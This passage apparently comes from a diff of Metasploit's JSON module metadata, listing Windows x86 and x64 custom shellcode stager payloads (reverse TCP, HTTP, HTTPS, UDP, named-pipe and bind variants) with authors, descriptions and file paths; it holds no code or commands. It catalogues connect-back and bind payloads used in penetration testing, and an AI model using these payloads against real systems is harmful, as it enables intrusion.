|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/custom/reverse_http_proxy_pstore": {
|
||||
"name": "Windows shellcode stage, Reverse HTTP Stager Proxy",
|
||||
"fullname": "payload/windows/custom/reverse_http_proxy_pstore",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>"
|
||||
],
|
||||
"description": "Custom shellcode stage. Tunnel communication over HTTP",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/reverse_http_proxy_pstore",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/custom/reverse_https": {
|
||||
"name": "Windows shellcode stage, Windows Reverse HTTPS Stager (wininet)",
|
||||
"fullname": "payload/windows/custom/reverse_https",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>"
|
||||
],
|
||||
"description": "Custom shellcode stage. Tunnel communication over HTTPS (Windows wininet)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-11-10 12:33:52 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/reverse_https",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/custom/reverse_https_proxy": {
|
||||
"name": "Windows shellcode stage, Reverse HTTPS Stager with Support for Custom Proxy",
|
||||
"fullname": "payload/windows/custom/reverse_https_proxy",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"corelanc0d3r <peter.ve@corelan.be>",
|
||||
"amaloteaux <alex_maloteaux@metasploit.com>"
|
||||
],
|
||||
"description": "Custom shellcode stage. Tunnel communication over HTTP using SSL with custom proxy support",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_https_proxy.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/reverse_https_proxy",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/custom/reverse_ipv6_tcp": {
|
||||
"name": "Windows shellcode stage, Reverse TCP Stager (IPv6)",
|
||||
"fullname": "payload/windows/custom/reverse_ipv6_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>"
|
||||
],
|
||||
"description": "Custom shellcode stage. Connect back to the attacker over IPv6",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/reverse_ipv6_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/custom/reverse_named_pipe": {
|
||||
"name": "Windows shellcode stage, Windows x86 Reverse Named Pipe (SMB) Stager",
|
||||
"fullname": "payload/windows/custom/reverse_named_pipe",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Custom shellcode stage. Connect back to the attacker via a named pipe pivot",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_named_pipe.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/reverse_named_pipe",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/custom/reverse_nonx_tcp": {
|
||||
"name": "Windows shellcode stage, Reverse TCP Stager (No NX or Win7)",
|
||||
"fullname": "payload/windows/custom/reverse_nonx_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"vlad902 <vlad902@gmail.com>"
|
||||
],
|
||||
"description": "Custom shellcode stage. Connect back to the attacker (No NX)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_nonx_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/reverse_nonx_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/custom/reverse_ord_tcp": {
|
||||
"name": "Windows shellcode stage, Reverse Ordinal TCP Stager (No NX or Win7)",
|
||||
"fullname": "payload/windows/custom/reverse_ord_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"spoonm <spoonm@no$email.com>"
|
||||
],
|
||||
"description": "Custom shellcode stage. Connect back to the attacker",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_ord_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/reverse_ord_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/custom/reverse_tcp": {
|
||||
"name": "Windows shellcode stage, Reverse TCP Stager",
|
||||
"fullname": "payload/windows/custom/reverse_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>"
|
||||
],
|
||||
"description": "Custom shellcode stage. Connect back to the attacker",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/reverse_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/custom/reverse_tcp_allports": {
|
||||
"name": "Windows shellcode stage, Reverse All-Port TCP Stager",
|
||||
"fullname": "payload/windows/custom/reverse_tcp_allports",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>"
|
||||
],
|
||||
"description": "Custom shellcode stage. Try to connect back to the attacker, on all possible ports (1-65535, slowly)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_tcp_allports.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/reverse_tcp_allports",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/custom/reverse_tcp_dns": {
|
||||
"name": "Windows shellcode stage, Reverse TCP Stager (DNS)",
|
||||
"fullname": "payload/windows/custom/reverse_tcp_dns",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"RageLtMan"
|
||||
],
|
||||
"description": "Custom shellcode stage. Connect back to the attacker",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_tcp_dns.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/reverse_tcp_dns",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/custom/reverse_tcp_rc4": {
|
||||
"name": "Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)",
|
||||
"fullname": "payload/windows/custom/reverse_tcp_rc4",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"mihi",
|
||||
"RageLtMan"
|
||||
],
|
||||
"description": "Custom shellcode stage. Connect back to the attacker",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_tcp_rc4.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/reverse_tcp_rc4",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/custom/reverse_tcp_rc4_dns": {
|
||||
"name": "Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)",
|
||||
"fullname": "payload/windows/custom/reverse_tcp_rc4_dns",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"mihi",
|
||||
"RageLtMan"
|
||||
],
|
||||
"description": "Custom shellcode stage. Connect back to the attacker",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/reverse_tcp_rc4_dns",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/custom/reverse_tcp_uuid": {
|
||||
"name": "Windows shellcode stage, Reverse TCP Stager with UUID Support",
|
||||
"fullname": "payload/windows/custom/reverse_tcp_uuid",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Custom shellcode stage. Connect back to the attacker with UUID Support",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_tcp_uuid.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/reverse_tcp_uuid",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/custom/reverse_udp": {
|
||||
"name": "Windows shellcode stage, Reverse UDP Stager with UUID Support",
|
||||
"fullname": "payload/windows/custom/reverse_udp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"RageLtMan <rageltman@sempervictus>"
|
||||
],
|
||||
"description": "Custom shellcode stage. Connect back to the attacker with UUID Support",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_udp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/reverse_udp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/custom/reverse_winhttp": {
|
||||
"name": "Windows shellcode stage, Windows Reverse HTTP Stager (winhttp)",
|
||||
"fullname": "payload/windows/custom/reverse_winhttp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"Borja Merino <bmerinofe@gmail.com>"
|
||||
],
|
||||
"description": "Custom shellcode stage. Tunnel communication over HTTP (Windows winhttp)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_winhttp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/reverse_winhttp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/custom/reverse_winhttps": {
|
||||
"name": "Windows shellcode stage, Windows Reverse HTTPS Stager (winhttp)",
|
||||
"fullname": "payload/windows/custom/reverse_winhttps",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"Borja Merino <bmerinofe@gmail.com>"
|
||||
],
|
||||
"description": "Custom shellcode stage. Tunnel communication over HTTPS (Windows winhttp)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_winhttps.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/reverse_winhttps",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/dllinject/bind_hidden_ipknock_tcp": {
|
||||
"name": "Reflective DLL Injection, Hidden Bind Ipknock TCP Stager",
|
||||
"fullname": "payload/windows/dllinject/bind_hidden_ipknock_tcp",
|
||||
@@ -195955,6 +199867,511 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/x64/custom/bind_ipv6_tcp": {
|
||||
"name": "Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager",
|
||||
"fullname": "payload/windows/x64/custom/bind_ipv6_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"sf <stephen_fewer@harmonysecurity.com>"
|
||||
],
|
||||
"description": "Custom shellcode stage. Listen for an IPv6 connection (Windows x64)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/custom/bind_ipv6_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/x64/custom/bind_ipv6_tcp_uuid": {
|
||||
"name": "Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support",
|
||||
"fullname": "payload/windows/x64/custom/bind_ipv6_tcp_uuid",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Custom shellcode stage. Listen for an IPv6 connection with UUID Support (Windows x64)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/custom/bind_ipv6_tcp_uuid",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/x64/custom/bind_named_pipe": {
|
||||
"name": "Windows shellcode stage, Windows x64 Bind Named Pipe Stager",
|
||||
"fullname": "payload/windows/x64/custom/bind_named_pipe",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"UserExistsError"
|
||||
],
|
||||
"description": "Custom shellcode stage. Listen for a pipe connection (Windows x64)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/x64/bind_named_pipe.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/custom/bind_named_pipe",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/x64/custom/bind_tcp": {
|
||||
"name": "Windows shellcode stage, Windows x64 Bind TCP Stager",
|
||||
"fullname": "payload/windows/x64/custom/bind_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"sf <stephen_fewer@harmonysecurity.com>"
|
||||
],
|
||||
"description": "Custom shellcode stage. Listen for a connection (Windows x64)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/x64/bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/custom/bind_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/x64/custom/bind_tcp_rc4": {
|
||||
"name": "Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)",
|
||||
"fullname": "payload/windows/x64/custom/bind_tcp_rc4",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"mihi",
|
||||
"max3raza",
|
||||
"RageLtMan"
|
||||
],
|
||||
"description": "Custom shellcode stage. Connect back to the attacker",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/x64/bind_tcp_rc4.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/custom/bind_tcp_rc4",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/x64/custom/bind_tcp_uuid": {
|
||||
"name": "Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)",
|
||||
"fullname": "payload/windows/x64/custom/bind_tcp_uuid",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Custom shellcode stage. Listen for a connection with UUID Support (Windows x64)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/custom/bind_tcp_uuid",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/x64/custom/reverse_http": {
|
||||
"name": "Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)",
|
||||
"fullname": "payload/windows/x64/custom/reverse_http",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Custom shellcode stage. Tunnel communication over HTTP (Windows x64 wininet)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/x64/reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/custom/reverse_http",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/x64/custom/reverse_https": {
|
||||
"name": "Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)",
|
||||
"fullname": "payload/windows/x64/custom/reverse_https",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"agix",
|
||||
"rwincey"
|
||||
],
|
||||
"description": "Custom shellcode stage. Tunnel communication over HTTP (Windows x64 wininet)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/x64/reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/custom/reverse_https",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/x64/custom/reverse_named_pipe": {
|
||||
"name": "Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager",
|
||||
"fullname": "payload/windows/x64/custom/reverse_named_pipe",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Custom shellcode stage. Connect back to the attacker via a named pipe pivot",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x64",
|
||||
